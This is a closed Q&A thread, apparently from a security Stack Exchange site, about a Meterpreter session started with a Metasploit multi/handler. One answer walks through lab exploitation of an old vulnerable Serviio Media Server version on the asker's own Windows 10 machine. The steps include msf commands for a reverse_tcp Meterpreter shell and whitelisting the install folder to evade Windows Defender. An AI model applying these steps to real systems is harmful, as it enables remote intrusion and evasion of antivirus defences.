1

enter image description here I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my windows machine connected to the same network and connect to 192.168.0.11:80 then I open my session with sessions -i 1 then im in the meterpreter shell. When I try to run ls, ps, cd, download etc... I get Unknown Command: command. What am I doing wrong? Some commands like help still work though.

closed as off-topic by Peter Harmann, ISMSDEV, Overmind, Josef, Tobi Nary May 16 '18 at 13:35

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "This question does not appear to be about Information security within the scope defined in the help center." – Peter Harmann, ISMSDEV, Overmind, Josef, Tobi Nary
If this question can be reworded to fit the rules in the help center, please edit the question.

  • What is the payload you are using on the target? – multithr3at3d May 1 '18 at 0:49
  • windows/meterpreter/reverse_tcp – DapperDaniel May 1 '18 at 1:47
1

Simply, you cannot do that. You sat up multi/handler with meterpreter reverse_tcp as payload and then you're gone to your victim machine and visited it like a website. See, the multi/handler expect a connection from a meterpreter payload not from a web browser. That's why you couldn't execute anything.

To back up what I said, try it another time without the j and z options. When you go to your windows machine and visit your attack box , you will see that the connection is dropped after the user-agent string is showing.

Don't listen to others they didn't even read your post carefully.

0

How are you connecting from the target Windows machine back to your attacking machine?

It looks like since you're automatically backgrounding the session, you're not seeing where the session is never created. Try just "exploit" without the flags and you shouldn't get the meterpreter prompt like you are now. Does the session die after a minute or so?

In order to make this work, you'll need to find a vulnerability to exploit, which will deliver the payload and make it connect back to you. You should only have to use multi/handler for exploits launched outside of Metasploit, but it's not clear if you're doing that or not.

edit: I searched around, found, and tested a vulnerable application that you can use to practice with in Windows 10. I don't know what the rules are for posting links for vulnerable software, so I'll just kind of direct you: Serviio Media Server has a command execution vulnerability in some of its older versions. Info on the Metasploit module is located here. I tested this with 1.7.1, so go to http://serviio.org/download and copy the link for the Windows version and change current version they're serving up (1.9.1) to 1.7.1 (literally just change the 9 to a 7).

Install Serviio Media Server on your Windows 10 box. I would recommend temporarily whitelisting the Drive:\Program Files\Serviio\bin directory in Windows Defender because it will catch Meterpreter.

From your attacking machine:

msf > use exploit/windows/http/serviio_checkstreamurl_cmd_exec (set the exploit)

msf exploit(windows...) > show options

You'll see that you need to set the RHOST (your Win10 machine) and SRVHOST (your attacking machine).

Next, set your payload (we'll go with reverse Meterpreter shell):

msf exploit(windows...) > set payload windows/meterpreter/reverse_tcp

set your LHOST to your attacking machine.

msf exploit(windows...) > exploit

I hope this helps. Good luck and please use this stuff for good :)

  • ah I see. I am just typing the LHOST into my web browser on my windows 10 machine, how do I find a vulnerability? Thanks for the help. – DapperDaniel May 1 '18 at 2:05
  • Phew, OK! I see what's going on now. I just added a huge wall of text to walk you through getting a reverse Meterpreter shell on your Windows 10 machine. I tested it twice and it seems to work without issue other than triggering AV, but set an exception and you'll be good to go. – hoshin May 1 '18 at 4:36

Not the answer you're looking for? Browse other questions tagged or ask your own question.